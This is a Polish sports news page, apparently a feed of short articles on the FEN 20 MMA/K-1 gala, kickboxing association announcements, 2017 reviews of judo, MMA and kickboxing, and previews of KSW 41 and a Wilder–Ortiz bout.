Nazwisko Ziółkowskiego zostało podane jako jedne z pierwszych przed jubileuszową galą FEN 20. „Złoty chłopiec” dla federacji walczył już dwukrotnie. Warszawiak znany jest z tego, że bardzo często efektownie poddaje swoich rywali. Z 17 zawodowych zwycięstw, które ma na swoim koncie, aż 12 kończył w ten właśnie sposób. Do tego dochodzą trzy nokauty i dwie wygrane na punkty.
Rębecki dla FEN stoczył już trzy pojedynki i wszystkie wygrał. Ostatnim razem kibice organizacji mogli go zobaczyć w akcji podczas wakacyjnej gali w Koszalinie. Wtedy poddany został niebezpieczny Dmitriy Golbaev. "Chińczyk" dawał jasne znaki, że bardzo chciałby stoczyć pojedynek o pas. W Warszawie będzie miał ku temu okazję.
– To będzie sportowo kapitalny pojedynek. I Rębecki, i Ziółkowski trzy ostatnie swoje walki wygrali. Waga lekka potrzebuje mistrza, bo mamy kilku mocnych zawodników, którzy aspirują do tego, by rządzić w tej hierarchii. Kto wygra na Torwarze? Nie mam pojęcia, ale bardzo cieszę się na samą myśl o tym starciu – powiedział Paweł Jóźwiak, prezes FEN.
Gala FEN 20 "Next Level" odbędzie się 10 marca w warszawskiej hali "Torwar".
Sprzedaż biletów na stronie www.fen-mma.com/bilet/
Od gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar, podczas pojedynków dozwolone będą uderzenia łokciami.
Zmiana będzie miała na celu jeszcze bardziej podnieść widowiskowość i atrakcyjność pojedynków dla kibiców. Łokcie w parterze i klinczu spowodują, że zawodnik w defensywie będzie musiał być bardziej aktywny i mniej będzie "klejenia się" do oponenta. Walka w stójce natomiast będzie jeszcze bardziej dynamiczna, a zawodnicy będą mieli do wykorzystania nową, bardzo niebezpieczną broń.
– W wielu najlepszych na świecie organizacjach ciosy łokciami są dozwolone i też postanowiliśmy iść tą drogą. Myślałem już o tym szybciej, ale ze zmianami poczekałem do jubileuszowej gali. FEN 20 będzie dzięki temu jeszcze bardziej emocjonująca i jeszcze bardziej niebezpieczna – to dobrze – powiedział Paweł Jóźwiak, prezes FEN.
Sprzedaż biletów na galę FEN 20 "Next Level" stronie www.fen-mma.com/bilet/
Bartosz Leśko (6-0-1) wystąpi podczas Fight Exclusive Night 20 "Next Level". Znamy zatem kolejnego bohatera jubileuszowej gali, która 10 marca odbędzie się w warszawsiej hali Torwar.
Leśko ze znakomitej strony pokazał się we Wrocławiu, gdzie po bardzo dobrym pojedynku pokonał Pawła Brandysa. Wcześniej w swoim debiucie w FEN, w maju podczas gdyńskiej gali, pokonał Aleksandra Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Zawodnik trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs” i „Brzostek TOP Team”. Jego pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.
– Mam już przeciwnika dla Bartosza Leśko i na pewno wszyscy będą zadowoleni z tego zestawienia. To może nie potrwać pełnego dystansu. Młodość kontra doświadczenie – tyle mogę zdradzić na ten moment – powiedział Paweł Jóźwiak, prezes FEN.
Sprzedaż biletów na galę FEN 20 „Next Level” stronie www.fen-mma.com/bilet/
Krzysztof Kułak (29-15, 7 KO, 15 SUB) został nowym zawodnikiem federacji Fight Exclusive Night. 36-latek zadebiutuje pod szyldem federacji już podczas gali FEN 20 "Next Level", która odbędzie się 10 marca w warszawskiej hali Torwar.
– Wrzuciłem kilka tygodni temu na Facebook'a zdjęcie z Krzyśkiem, bo rozmawialiśmy na temat współpracy od dłuższego czasu. On chciał, by chcieliśmy, więc miło mi poinformować, że tak znakomity zawodnik będzie reprezentował naszą federację. Spójrzmy na jego rekord – ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. To robi wrażenie. Wystąpi w Warszawie, szykujemy mu naprawdę mocnego rywala. Mam w głowie już nazwisko, ale – jak wiadomo – najpierw muszę wszystko dogadać. Jestem szczęśliwy, że Krzysiek będzie reprezentował naszą federację – powiedział prezes FEN, Paweł Jóźwiak.
Spekulowano, spekulowano, a teraz możemy już ogłosić ten komunikat oficjalnie: Paweł "Trybson" Trybała (3-3, 3 KO) wystąpi podczas gali FEN 20 "Next Level". Będzie to jego debiut pod szyldem federacji.
"Trybson" kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.
– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział "Trybson".
Na ten moment nie wiadomo, z kim Trybała zmierzy się w klatce 10 marca. Nazwisko jego rywala ogłosimy w ciągu najbliższych tygodni.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". Na Torwarze kibice będą mieli przyjemność podziwiać w akcji Radosława Paczuskiego (18-2-0). Będzie to jeden z bohaterów walki wieczoru, której stawką będzie pas mistrzowski FEN w K-1 w kategorii do 85 kilogramów.
Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.
Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku 2016 roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek.
Federacja FEN w najbliższych tygodniach poinformuje, kto będzie rywalem trenującego na co dzień w Uniq Fight Club w Warszawie zawodnika.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". 10 marca na Torwarze zobaczymy ulubieńca warszawskiej publiczności, Arkadiusza Wrzoska (8-4). Obecny mistrz federacji w kategorii ciężkiej w formule K-1 po raz pierwszy będzie bronił pasa czempiona, który wywalczył podczas gali FEN 19 w październiku we Wrocławiu.
25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.
Nazwisko przeciwnika Arkadiusza Wrzoska na FEN 20 poznamy w ciągu najbliższych tygodni.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Mamy to! Wielki rewanż pomiędzy Arkadiuszem Wrzoskiem (8-4) a Arturem Bizewskim (7-1) odbędzie się podczas gali FEN 20 "Next Level". Będzie to powtórne starcie pomiędzy tymi zawodnikami, gdyż również w Torwarze, w marcu 2017 roku, podczas gali FEN 16 panowie spotkali się po raz pierwszy. Wtedy po znakomitym boju lepszy okazał się aktualny mistrz FEN w kategorii ciężkiej w formule K-1, Wrzosek.
25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.
Artur Bizewski ma na koncie osiem zawodowych walk K-1, z których cztery ostatnie stoczył dla federacji FEN. Po zwycięstwie nad Szrederem dwukrotny zdobywca Pucharu Świata i brązowy medalista mistrzostw Europy zmierzył się na gali FEN 16 z aktualnym mistrzem federacji w formule K-1 Arkadiuszem Wrzoskiem. W stołecznym Torwarze „Bizon” przegrał, ale wspólnie z rywalem zafundowali kibicom emocjonujący pojedynek K-1 na europejskim poziomie, toczony w niesamowitym tempie i obfitujący w znakomite akcje z obu stron.
Później Bizewski dwukrotnie zwyciężył – ponownie ze Szrederem i podczas wakacyjnej edycji "Summer Edition" w Koszalinie z Mateuszem Duczmalem.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Polski Związek Kickboxingu i Światowa Organizacja WAKO zwraca się do wszystkich sympatyków kickboxingu, zawodników i trenerów z prośbą o pomoc w rozpropagowaniu głosownia na Sportowca Roku The World Games reprezentującego naszą dyscyplinę sportową – kickboxing.
Każda osoba, która chce wesprzeć naszą idee proszona jest o zamieszczenie linku na swoich klubowych stronach internetowych oraz na Facebooku zachęcając tym samym wszystkich do oddania głosów na reprezentantkę kickboxingu Sarela de Jonga z Holandii !!!
Zagłosujmy na naszego kandydata i pokażmy siłę Kickboxingu!
Link do głosowania: https://www.theworldgames.org/awards/Athlete-of-the-Year-2017-46
Głos na Sportowca Roku można oddać również na stronie IWGA:
https://www.facebook.com/iwga.theworldgames/videos/1699903870079059/
https://twitter.com/TheWorldGames/status/947700061085020160
Szanowni Państwo,
Prezes Polskiego Związku Kickboxingu w imieniu swoim oraz całego zarządu PZKB zaprasza na Bal Mistrzów Kickboxingu oraz uroczystość wręczenia nagród i wyróżnień – Heros 2017 dla zawodników, trenerów, działaczy i partnerów PZKB za 2017 rok.
W programie imprezy przewidujemy udział w ceremonii wręczenia nagród PZKB za rok 2017 oraz wspaniałą zabawę noworoczną, wyżywienie i nocleg z 13/14 stycznia 2018. Rozpoczęcie o godz.18.00 – Hotel Everest Węgrów, ul. Żeromskiego 52 – Koszt imprezy: 190 PLN/osoby (liczba miejsc ograniczona, decyduje kolejność zgłoszeń).
Prosimy o przesyłanie zgłoszeń do dnia 4 stycznia 2018 na adres e-mail: biuro@pzkickboxing.pl z dopiskiem w tytule:
"Bal Mistrzów Kickboxingu i wskazaniem imienia i nazwiska uczestnika/-ów".
Serdecznie zapraszamy i do zobaczenia.
Prezes Polskiego Związku Kickboxingu Piotr Siegoczyński
Zapraszamy do obejrzenia trzeciego wydania Newsów PZKB.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z pierwszego w Polsce Balu Mistrzów Kickboxingu. Impreza odbędzie się 13 stycznia 2018 r. w hotelu Everest w Węgrowie. Zapraszamy!!!
[kod]
Zapraszamy do obejrzenia pierwszego z cyklu filmów "Telewizja FighTime od kuchni".
[kod]
Zapraszamy do obejrzenia drugiego z cyklu filmów "Telewizja FighTime od kuchni".
[kod]
Mistrzostwa świata w Baku i mistrzostwa Europy w Tel Awiwie to najważniejsze imprezy w judo w 2018 roku. Z kolei pod koniec maja wystartują kwalifikacje olimpijskie. Zapowiada się ciekawy rok w judo.
W 2017 roku reprezentanci Polski z każdej dużej imprezy przywieźli minimum medal. Powinni iść dalej tą drogą i walczyć o cenne punkty, które przybliżą ich do startu w Tokio w 2020 roku.
Brąz z Budapesztu
Bez wątpienia największym indywidualnym osiągnięciem 2017 roku w polskim judo jest brązowy medal wywalczony przez Agatę Ozdobę-Błach (63kg) w mistrzostwach świata w Budapeszcie. Polka stoczyła cztery zacięte walki, w których okazała się lepsza od rywalek. Dwie z nich wygrała przed czasem – z Mią Hermansson i Edwige Gwend. Otwarcie bram do starcia o złoto było o krok, jednak na drodze judoczki AZS AWF Wrocław stanęła Clarisse Agbegnenou. Wicemistrzyni olimpijska z Rio triumfowała po dogrywce. Ozdoba musiała się skoncentrować i skupić na starciu o brąz. Zadanie wykonała fenomenalnie! Znakomicie wytrzymała trudy rywalizacji z Martyną Trajdos i po dogrywce wygrała przez waza-ari.
W kwietniu minionego roku do Warszawy zjechali się czołowi judocy Europy, aby walczyć o prymat na Starym Kontynencie. Indywidualnie o krok od medalu byli Katarzyna Kłys (70kg) i Maciej Sarnacki (+100kg). Oboje zajęli piąte miejsca. W Warszawie biało-czerwoni zdobyli jeden medal. Srebro na swoim koncie zapisała reprezentacja kobiet. W pierwszej rundzie biało-czerwone miały wolny los i rywalizację rozpoczęły od półfinału, w którym uporały się z Niemkami 3:2. O zwycięstwie naszej reprezentacji przesądziły: Karolina Pieńkowska (52kg), Anna Borowska (57kg) oraz Kłys. W zmaganiach o złoto Polki przegrały z Francuzkami – 0:5.
W 2017 roku w Gdyni odbyły się zawody Pucharu Europy Juniorów. Polacy wywalczyli łącznie dziewięć medali. Z kolei Bielsko-Biała gościła zawodników rywalizujących w Pucharze Europy kadetów. Biało-czerwoni zakończyli zmagania z trzema brązowymi medalami.
Co przed nami?
Najbliższe dwanaście miesięcy przyniesie wiele ciekawych wydarzeń. Imprezą największego kalibru będą mistrzostwa świata w Baku, które odbędą się w dniach 20-27 września. Rywalizację o panowanie w Europie zaplanowano w Tel Awiwie w terminie 26-28 kwietnia.
Judocy powoli zaczynają myśleć o Igrzyskach Olimpijskich w Tokio. Majowe Grand Prix w Hohhot będzie pierwszą okazją do wywalczenia pierwszych punktów potrzebnych do uzyskania kwalifikacji. Polska również będzie areną zmagań judoków. 3-4 marca w Warszawie rozegrane zostaną zawody European Open kobiet. Po raz kolejny w Bielsku-Białej rywalizować będą kadeci (19-20 maja) w ramach Puchar Europy, zaś w Gdyni pojawią się juniorzy (7-8 lipca).
Ciekawym doświadczeniem będą mistrzostwa Europy drużyn mieszanych. 18 lipca judocy zaprezentują się w Jekaterynburgu.
Fot. IJF/Facebook
KM
Udany debiut Michała Oleksiejczuka w UFC. Na gali w T-Mobile Arena w Las Vegas Polak na przestrzeni trzech rund pokonał Khalila Rountree. W walce wieczoru UFC 219 Cris Justino lepsza od Holly Holm.
Na kończącą rok 2017 galę w Las Vegas wszyscy czekali ze względu na rywalizację na szczycie w wadze piórkowej kobiet. Nie zabrakło polskiego akcentu w postaci debiutu młodego i groźnego Michała Oleksiejczuka.
Przyszłość przed nim
Pochodzący z Łęcznej zawodnik ma dopiero 22 lata. Trafił do UFC po dziewięciu zwycięstwach z rzędu, w tym ośmiu przed czasem! Dobra postawa pozwoliła mu dostać się do innego wymiaru, w którym trzeba być przygotowanym na wyniszczającą walkę. Michał Oleksiejczuk uniósł ciężar rywalizacji w UFC. W debiucie trafił na Khalila Rountree, który w zeszłym roku miał kryzys w amerykańskiej organizacji. 27-latek poniósł dwie porażki, ale kolejne dwa pojedynki wygrał przez nokaut i jego akcje wzrosły. Polak miał być kolejną ofiarą Amerykanina, jednak Rountree został zaskoczony przez fightera z Łęcznej.
Od początku 27-latek odważnie ruszył do przodu. Trafiał Polaka, na którego twarzy pojawiła się krew. W końcu Oleksiejczuk zdobył sprowadzenie, ale niewiele udało mu się zrobić w parterze. Polak przetrwał napór rywala, zaczął dochodzić do głosu, a Rountree tracił siły. W drugiej rundzie Oleksiejczuk dał prawdziwy popis. Amerykanin przyjmował kolejne ciosy, Polak wyprowadzał podbródkowe, atakował kolanem na głowę. Z czasem faworyzowany Rountree poczuł, że zwycięstwo jest coraz dalej. Amerykanin starał się skutecznie atakować, ale Oleksiejzuk był na posterunku. Polak sprowadził walkę do parteru i do końca dyktował warunki.
Sędziowie nie mieli żadnych wątpliwości. Oleksiejczuk wygrał jednogłośną decyzją – wszyscy punktowali 30:27. 22-letni Polak zapisał na swoim koncie trzynaste zwycięstwo w karierze.
Wygrała, ale nie przed czasem
Myśl o rywalizacji Justino i Holm elektryzowała. „Cyborg” to gwiazda kobiecego MMA, która niszczy wszystkie przeszkody na swojej drodze. Również Holm to wyjątkowa postać. Amerykanka zapisała się w historii jako ta, która zatrzymała Rondę Rousey i odebrała jej pas w wadze koguciej. Szybko go jednak straciła, a później walczyła o tytuł w kategorii piórkowej. Holm musiała uznać wyższość Germaine de Randamie.
Los ponownie dał szansę 36-letniej Amerykance, która po pokonaniu Rousey zaliczyła aż trzy porażki i tylko jedno zwycięstwo. Ale poprzeczka była zawieszona wysoko. Cyborg idzie jak burza, zarówno w organizacji Invicta, a obecnie w UFC. Ostatnie dwanaście walk 32-letnia Brazylijka wygrała przed czasem!
Starcie o pas z animuszem zaczęła Holm. Wysokie kopnięcie i Justino znalazała się na ziemi. Amerykanka szukała swoich okazji, trafiała, ale Brazylijka nie pozostawała bierna. Z czasem Holm coraz częściej klinczowała. W czwartej rundzie widać było, że była mistrzyni wagi koguciej przyjęła wiele ciosów. Justino zachowała więcej sił, ale cały czas Holm twardo trzymała się na nogach. Amerykanka wytrzymała pięć rund, jednak kolejne zwycięstwo na swoim koncie zapisała „Cyborg”.
Fot. Michał Oleksiejczuk Facebook
KM
W 2017 roku ponownie do Polski zawitała organizacja UFC. Ostatnie dwanaście miesięcy obfitowało w wiele fantastycznych walk w MMA. Co zapadnie nam najbardziej w pamięci z 2017 roku?
Pierwsza gala UFC w Polsce odbyła się 11 kwietnia 2015 roku w Krakowie. W walce wieczoru Mirko Filipović w trzeciej rundzie rozprawił się z Gabrielem Gonzagą. Minęło ponad 2,5 roku i najlepsza organizacja MMA na świecie ponownie zawitała do Polski. Gala UFC Fight Night 118 odbyła się w październiku w Ergo Arenie w Gdańsku. Kibice mogli podziwiać sześcioro Polaków, z których czworo wygrało swoje pojedynki. Karolina Kowalkiewicz pokonała Jodie Esquibel, Oskar Piechota wygrał z Jonathanem Wilsonem, a Jan Błachowicz i Damian Stasiak triumfowali przed czasem – odpowiednio z Devinem Clarkiem oraz Brianem Kelleherem. W walce wieczoru w pierwszej rundzie Darren Till pokonał w pierwszej rundzie Donalda Cerrone.
Rok 2017 był wyjątkowy dla Konfrontacji Sztuk Walki. Organizacja Martina Lewandowskiego i Macieja Kawulskiego dokonała swego rodzaju przełomu. Blisko 58 tysięcy widzów śledziło z bliska galę KSW 39 Colosseum, która odbyła się na stadionie PGE Narodowy w Warszawie. W stolicy do rywalizacji po sześciu latach powrócił Łukasz Jurkowski i pokonał Rameau Thierry Sokoudjou. Udany debiut zaliczył również brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach Damian Janikowski, który w pierwszej rundzie rozbił Julio Gallegosa. W walce wieczoru doszło do starcia czołowych zawodników KSW. Mamed Khalidov okazał się lepszy od Borysa Mańkowskiego. Z kolei w październiku KSW wybrało się w podróż do Dublina. Głównym wydarzeniem gali numer 40 była walka Mariusza Pudzianowskiego z Jayem Silvą. 40-letni Polak zapisał na swoim koncie dwunaste zwycięstwo w karierze. Ponadto w 2017 roku KSW zorganizowało gale w Sękocinie Nowym i Katowicach.
Gwiazda polskiego MMA Joanna Jędrzejczyk stoczyła w 2017 roku dwie walki. W pierwszym starciu zawodniczka pochodząca z Olsztyna pokonała Jessicę Andrade. Polka była gwiazdą UFC i posiadaczką pasa w wadze słomkowej. Do czasu. W listopadzie Jędrzejczyk stanęła do szóstej obrony mistrzowskiego pasa, jednak zanotowała pierwszą w karierze porażkę. W premierowej odsłonie starcia na gali UFC 217 w Nowym Jorku Polka przegrała przez nokaut z Rose Namajunas.
Ważnym wydarzeniem kończącego się roku był powrót do UFC legendy MMA Georgesa St. Pierre'a. Cztery lata temu Kanadyjczyk pokonał Johny'ego Hendricksa i zapisał na swoim koncie 25 zwycięstwo. Wrócił w wielkim stylu. Na gali UFC 217 w Nowym Jorku St. Pierre pokonał Michaela Bispinga i sięgnął po pas mistrzowski w wadze średniej. Warto wspomnieć, że wcześniej 36-latek rywalizował w kategorii półśredniej.
Pięć gal w ciągu dwunastu miesięcy – to dorobek organizacji Fight Exclusive Night, która promuje MMA i K-1. Tegoroczna podróż zaczęła się w Lubinie a zakończyła we Wrocławiu. Na gali FEN 19 znakomity debiut w zawodowym MMA zaliczyła Magdalena Rak, która pokonała Raffaeli Milner. We Wrocławiu fenomenalnie zaprezentował się Gabriel Al-Sulwi. W drugiej rundzie "Arab" pokonał Bartłomieja Brzezińskiego. Z narożnika "Rubego" poleciał ręcznik.
Drugie urodziny Ladies Fight Night i dwie gale! To było coś niezwykłego. Niesamowite widowiska, wspaniałe walki i najlepsze zawodniczki rywalizujące w MMA i K-1. Zwycięstwa odniosły m.in. Sylwia Juśkiewicz, Natalia Leciejewska, Marta Waliczek, Katarzyna Lubońska i Katarzyna Posiadała.
KM
Po świętach, a przed sylwestrem towarzyszy nam refleksja na temat kończącego się roku. Analizujemy, wyciągamy wnioski i chcemy, aby kolejne dwanaście miesięcy przyniosło wiele radosnych chwil. Kończący się 2017 rok był niezwykle owocny dla polskiego kickboxingu.
Na szczycie
W lipcu we Wrocławiu było niezwykle gorąco. A to za sprawą walki o medale w dziesiątej edycji The World Games – Igrzysk Sportów Nieolimpijskich. W gronie dyscyplin, które mogli podziwiać kibice znalazł się kickboxing, który był tzw. sportem na zaproszenie. Polacy pokazali moc. Do walki o medale stanęło 11 biało-czerwonych, a sześcioro wywalczyło medale. Po złote krążki sięgnęli Marta Waliczek (60kg) i Dawid Kasperski (86kg). O krok od triumfu byli Michał Ronkiewicz (75kg) oraz Mateusz Pluta (91kg), którzy w walkach finałowych przegrali odpowiednio z Zakarią Laaoutanim i Igorem Darmeszkinem. Brązowe krążki zawisły na szyjach Małgorzaty Dymus (56kg) i Wojciecha Kazieczko (67kg). Na najlepszej drodze do sukcesu znajdowali się Arkadiusz Kaszuba (81kg) oraz Michał Turyński (+91kg), którzy wygrali pojedynki ćwierćfinałowe, ale na przeszkodzie stanęły im urazy i musieli wycofać się z turnieju. Co najważniejsze, Polacy wygrali klasyfikację medalową! Ogromny sukces, który był pokazem siły naszego kickboxingu.
Kolejnym znaczącym wydarzeniem 2017 roku były mistrzostwa świata w Budapeszcie. Znakomity występ biało-czerwonych, którzy do kraju wrócili z 31 medalami. Na ten dorobek złożyło się dwanaście złotych, cztery srebrne i piętnaście brązowych krążków. Najwięcej, bo dziesięć medali, zdobyła kadra w K-1, a co ciekawe – zawodnicy byli najmłodsi spośród wszystkich startujących. Tytuły sprzed dwóch lat obronili: Paulina Jarzmik (60kg) w kick light i light contact, Iwona Nieroda (56kg) w low kick i Piotr Wypchał (89kg) w kick light.
Nasza przyszłość w rękach młodych, a więc trzeba patrzeć na postępy adeptów. We wrześniu śledziliśmy zmagania juniorów i kadetów w mistrzostwach Europy, które odbyły się w Skopje. Biało-czerwoni uplasowali się w gronie najlepszych za sprawę 66 medali, w tym dziewięciu złotych. Najwięcej krążków na swoim koncie zapisali zawodnicy rywalizujący w low kick – czternaście.
Decyzję o przejściu na sportową emeryturę podjęła utytułowana Dorota Godzina. Wielokrotna medalistka mistrzostw Polski podczas gali DSF Kickboxing Challenge 11 pokonała Sylwię Kaliś. Na swoim koncie Dorota Godzina zapisała m.in. trzykrotnie amatorskie mistrzostwo świata, dwukrotne mistrzostwo Europy, a na płaszczyźnie zawodowej – mistrzostwo świata WAKO Pro oraz pas DSF do 56kg.
Siegoczyński na czele związku
W kwietniu odbyły się wybory prezesa Polskiego Związku Kickboxingu. Z kandydowania zrezygnował Andrzej Palacz, który przez wiele lat sprawował tę funkcję. Delegaci na nowego prezesa wybrali legendę polskiego kickboxingu Piotra Siegoczyńskiego. Mistrz świata z 1985 roku z Budapesztu pokonał Gerarda Zdziarskiego i Krzysztofa Bulandę.
26 września 2017 roku zapisał się złotymi literami w historii polskiego kickboxingu. Związek został włączony w poczet członków zwyczajnych Polskiego Komitetu Olimpijskiego.
KM
Nie chodzi o przedświąteczny szał zakupowy i walkę z czasem, aby zdążyć ze wszystkim przed pierwszą gwiazdką. 23 grudnia fani MMA będą mieli szansę na chwilę oderwać się od sprzątania i gotowania. A to za sprawą gali KSW 41, która odbędzie się w Katowicach.
Na szali pojawią się dwa pasy mistrzowskie: kategorii piórkowej i półśredniej. W Katowicach w KSW zadebiutuje Tomasz Oświeciński.
Starcie gigantów
Wszyscy oczekują widowiska. Wielką uwagę przykłada się do starcia Popka Monstera z Tomaszem Oświecińskim. "Strachu" stoczy pierwszą walkę w mieszanych sztukach walki. Popek zaprezentuje się na KSW po raz trzeci. Wygrał z Robertem Burneiką, przegrał z Mariuszem Pudzianowskim. Obie walki kończyły się w pierwszych rundach. Popek i Oświeciński mocno napompowali balon i sami nie szczędzili sobie gorzkich fraz. Pojedynek zweryfikuje, który z nich nie rzucał słów na wiatr.
Wyzwanie przed Damianem Janikowskim, który w maju na Stadionie Narodowym efektownie zadebiutował w KSW. Teraz brązowy medalista olimpijski w zapasach z Londynu przejdzie prawdziwy test. Przyjdzie mu się zmierzyć z najbardziej doświadczonym polskim zawodnikiem MMA – Antonim Chmielewskim. Doświadczenie jest atutem 35-latka, jednak Janikowski chce w KSW zaistnieć i wejść na sportowy szczyt. Czy Chmielewski zatrzyma napór silnego niczym tur zawodnika? 35-latek przegrał dwie ostatnie walki i chciałby złapać oddech. Odkąd wrócił do KSW, marzec 2016 roku, wygrał jeden z trzech pojedynków.
Po raz czwarty pasa w wadze półśredniej będzie bronił Borys Mańkowski. "Diabeł Tasmański" wraca do rywalizacji po przegranej walce z Mamedem Khalidowem w superfight na gali KSW 39 Colosseum. 28-latek pokazał się w Warszawie z dobrej strony i toczył wyrównany bój z legendą organizacji, ale doświadczenie urodzonego w Groznym zawodnika wzięło górę. W Katowicach Mańkowski miał stanąć w szranki z Dricusem Du Plessisem. Zawodnik znakomicie prezentujący się na własnym terenie, mistrz EFC, musiał zrezygnować z udziału w KSW 41 z powodu kontuzji. W jego miejsce wskoczył groźny Roberto Soldić, który nazywany jest "nowym CroCopem". Bośniak ma passę sześciu zwycięstw z rzędu. 11 z 12 wygranych walk zakończył przed czasem. Zapowiada się gorące starcie.
Kleber Koike Erbst może zrewanżować się Arturowi Sowińskiemu za porażkę sprze dwóch lat i zachować pas mistrzowski kategorii piórkowej. 28-latek będzie bronił tytułu po raz pierwszy. Erbst wywalczył pas w maju w Warszawie, gdzie pokonał Marcina Wrzoska. Ten z kolei odebrał wcześniej tytuł Sowińskiemu. Co ciekawsze, Wrzosek również wystąpi w Katowicach. Jego rywalem będzie Roman Szymański.
Karta walk gali KSW 41:
Walka wieczoru o pas kategorii półśredniej: -77 kg: Borys Mańkowski – Roberto Soldic
-120 kg: Popek Monster – Tomasz Oświeciński
O pas w kategorii piórkowej: -66 kg: Kleber Koike Erbst – Artur Sowiński
-66 kg: Marcin Wrzosek – Roman Szymański
-120 kg: Fernando Rodrigues Jr – Michał Andryszak
-84 kg: Damian Janikowski – Antoni Chmielewski
-70 kg: Kamil Szymuszowski – Grzegorz Szulakowski
-66 kg: Łukasz Rajewski – Salahdine Parnasse
-70 kg: Maciej Kazieczko – Gracjan Szadziński
Fot. Borys Mańkowski Facebook
KM
Można zacierać ręce. W wadze ciężkiej w boksie od pewnego czasu jest niezwykle ciekawie. Niewykluczone, że na początku marca dojdzie do oczekiwanego pojedynku pomiędzy Deontayem Wilderem a Luisem Ortizem.
Gdy do ringu wchodzi dwóch niepokonanych bokserów musi być ciekawie. Wszyscy wierzą, że tak będzie w tym przypadku.
Był falstart
Wszystko było już dopięte na ostatni guzik. Wilder i Ortiz mieli zmierzyć się 4 listopada w Nowym Jorku, ale tak się nie stało. Bywa tak, że panna młoda ucieknie sprzed ołtarza. Czasami na ostatniej prostej ktoś się potknie i nici z marzeń. Czasami na drodze zatrzyma nas policyjna kontrola i trzeba liczyć się z mandatem. W tym przypadku chodzi o trzecią sytuację. Testy antydopingowe dały wynik pozytywny u Ortiza. Co ciekawe, kilka dni wcześniej Wilder apelował do rywala, aby ten przestrzegał przepisów. Z czasem Kubańczyk został oczyszczony przez WBC z okarżeń stosowanie dopingu. Ale walka przepadła…
Jednak "nie ma tego złego, co by…" i tak dalej. Wieść niesie, że prędzej czy później mistrz świata WBC zmierzy się z niepokonanym Ortizem. Wilder był obecny na ostatniej walce Kubańczyka. 38-latek dał pokazał siły i już w drugiej rundzie walki w Hialeah położył na deski Daniela Martza. Na Wilderze triumf Ortiza nie zrobił większego wrażenia i otwarcie mówił, że pokona Kubańczyka, choć użył zdecydowanie mocniejszych słów. Z kolei popularny "King Kong" podkreślił, że w oczach mistrza świata WBC wagi ciężkiej dostrzegł strach. Zaczęła się psychologiczna wojna, więc czas przejść na kolejny poziom wtajemniczenia.
Porozumienie coraz bliżej
"Do zakochania jeden krok, jeden jedyny krok nic więcej" – w tym przypadku raczej nie o to chodzi, ale w trawie piszczy, że niewiele brakuje do porozumienia między obozami obu pięściarzy. Według ostatnich doniesień, pojedynek miałby odbyć się 3 marca w Barclays Center na Brooklynie.
